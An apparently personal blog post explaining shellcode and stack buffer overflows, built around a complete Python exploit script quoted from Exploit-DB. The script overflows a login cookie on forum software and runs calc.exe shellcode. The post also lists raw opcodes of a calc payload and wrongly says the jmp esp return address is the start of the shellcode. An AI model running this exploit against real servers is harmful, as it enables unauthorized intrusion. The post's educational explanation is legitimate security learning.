⚠️
Disclaimer: This information is provided for educational purposes only. I do not condone any malicious activities.

For some people, writing shellcode can be exciting, as the idea of uncovering vulnerabilities, gaining unauthorized access, and exploiting software offers a thrilling sense of power.

To be able crafting shellcode, we need a deep understanding of computer architecture, assembly language, and system internals.

But what is shellcode, really? It's a piece of machine-level code whose job is to deliver specific instructions directly to a system's memory. For example, it can be used to:

  • open a command shell (hence the name "shellcode"),
  • create a backdoor, and
  • steal your data. 🙊

Shellcode, What is it like?

The code snippet below demonstrates one method of delivering shellcode: exploiting a vulnerability in forum software on a remote server. This exploit involves sending a malicious HTTP request containing a crafted buffer that overflows the program's memory.

import requests
host='192.168.50.30'
port='80'

buf='A'*4071
buf +='\x12\x45\xfa\x7f' #jmp esp
buf +='A'*12
buf +='\xeb\x36'  #jmp 0x36
buf +='A'*42
buf +='\x60\x30\xc7\x61'*2 #must be valid address
buf +='A'*4
#shellcode to execute calc.exe on remote server
buf += "\xdb\xdc\xd9\x74\x24\xf4\x58\xbb\x24\xa7\x26\xec\x33"
buf += "\xc9\xb1\x31\x31\x58\x18\x03\x58\x18\x83\xe8\xd8\x45"
buf += "\xd3\x10\xc8\x08\x1c\xe9\x08\x6d\x94\x0c\x39\xad\xc2"
buf += "\x45\x69\x1d\x80\x08\x85\xd6\xc4\xb8\x1e\x9a\xc0\xcf"
buf += "\x97\x11\x37\xe1\x28\x09\x0b\x60\xaa\x50\x58\x42\x93"
buf += "\x9a\xad\x83\xd4\xc7\x5c\xd1\x8d\x8c\xf3\xc6\xba\xd9"
buf += "\xcf\x6d\xf0\xcc\x57\x91\x40\xee\x76\x04\xdb\xa9\x58"
buf += "\xa6\x08\xc2\xd0\xb0\x4d\xef\xab\x4b\xa5\x9b\x2d\x9a"
buf += "\xf4\x64\x81\xe3\x39\x97\xdb\x24\xfd\x48\xae\x5c\xfe"
buf += "\xf5\xa9\x9a\x7d\x22\x3f\x39\x25\xa1\xe7\xe5\xd4\x66"
buf += "\x71\x6d\xda\xc3\xf5\x29\xfe\xd2\xda\x41\xfa\x5f\xdd"
buf += "\x85\x8b\x24\xfa\x01\xd0\xff\x63\x13\xbc\xae\x9c\x43"
buf += "\x1f\x0e\x39\x0f\x8d\x5b\x30\x52\xdb\x9a\xc6\xe8\xa9"
buf += "\x9d\xd8\xf2\x9d\xf5\xe9\x79\x72\x81\xf5\xab\x37\x7d"
buf += "\xbc\xf6\x11\x16\x19\x63\x20\x7b\x9a\x59\x66\x82\x19"
buf += "\x68\x16\x71\x01\x19\x13\x3d\x85\xf1\x69\x2e\x60\xf6"
buf += "\xde\x4f\xa1\x95\x81\xc3\x29\x74\x24\x64\xcb\x88"

cookies = dict(SESSIONID='6771', UserID=buf,PassWD='')
data=dict(frmLogin='',frmUserName='',frmUserPass='',login='')
requests.post('http://'+host+':'+port+'/forum.ghp',cookies=cookies,data=data)

Source: https://www.exploit-db.com/exploits/44485

This technique leverages a common software bug known as "Stack Buffer Overflow."

Stack Buffer Overflow is a type of programming error that occurs when a program writes more data to a buffer on the call stack than the buffer is designed to hold. This extra data can overwrite adjacent memory locations on the stack, potentially corrupting program data or even hijacking control flow.

In simpler terms, a program has a limited space to store data. If someone overfills this space, it can cause a Stack Buffer Overflow error. This overflow can then force the program to execute malicious code (the shellcode) that is hidden within the extra data.

To learn more, this article provides a high-level process of how to exploit primitive Stack-based Buffer Overflow vulnerabilities.

32-bit Stack-based Buffer Overflow | Red Team Notes

Decoding Shellcode

The shellcode, located in the buf variable from the code snippet above, begins with the byte sequence \x12\x45\xfa\x7f and continues.

Let's break it down!

Shellcode is essentially machine code, which is a sequence of bytes that computer's processor directly executes.

By a sequence of bytes, I mean the opcodes, something like this:

50 53 51 52 56 57 55 89 e5 83 ec 18 31 f6 56 6a 63 66 68 78 65 68 57 69 6e 45 89 65 fc 31 f6 64 8b 5e 30 8b 5b 0c 8b 5b 14 8b 1b 8b 1b 8b 5b 10 89 5d f8 31 c0 8b 43 3c 01 d8 8b 40 78 01 d8 8b 48 24 01 d9 89 4d f4 8b 78 20 01 df 89 7d f0 8b 50 1c 01 da 89 55 ec 8b 50 14 31 c0 8b 7d f0 8b 75 fc 31 c9 fc 8b 3c 87 01 df 66 83 c1 08 f3 a6 74 0a 40 39 d0 72 e5 83 c4 26 eb 3f 8b 4d f4 8b 55 ec 66 8b 04 41 8b 04 82 01 d8 31 d2 52 68 2e 65 78 65 68 63 61 6c 63 68 6d 33 32 5c 68 79 73 74 65 68 77 73 5c 53 68 69 6e 64 6f 68 43 3a 5c 57 89 e6 6a 0a 56 ff d0 83 c4 46 5d 5f 5e 5a 59 5b 58 c3

Source: https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html

💡
opcode (abbreviated from operation code) is the portion of a machine language instruction that specifies the operation to be performed. Read more on Wikipedia, if you'd prefer.

Shellcode often starts with \x.. because it's a common way to represent hexadecimal values within string in programming languages like Python and C.

For example, \x41 represents the hexadecimal value 41 , which is the ASCII code for the letter "A"

Source: https://web.alfredstate.edu/faculty/weimandn/miscellaneous/ascii/ascii_index.html

Now, let's return to the opcodes. Shellcode creators typically develop their creations for specific platforms (e.g., Windows, Linux) or different processor architectures (e.g., x86, x64, ARM).

Numerous shellcode examples are readily available on the internet. You can find a collection of shellcode samples in the Shellcodes database for study cases

Source: https://shell-storm.org/shellcode/index.html

But how do we actually make our own shellcode?

I'm super curious about that too! I'll save the best for last though – I'll dive deeper into this in a separate article.

So stay tuned! 😆


This article was a fun challenge, and I'm grateful to Lalu Raynaldi Pratama's 'Shellcode Analysis' presentation deck for helping me learn so much.

He gave a talk at 24th Cyber Defense Community Meetup

Until then, see you in the next article! 🎈

Share this post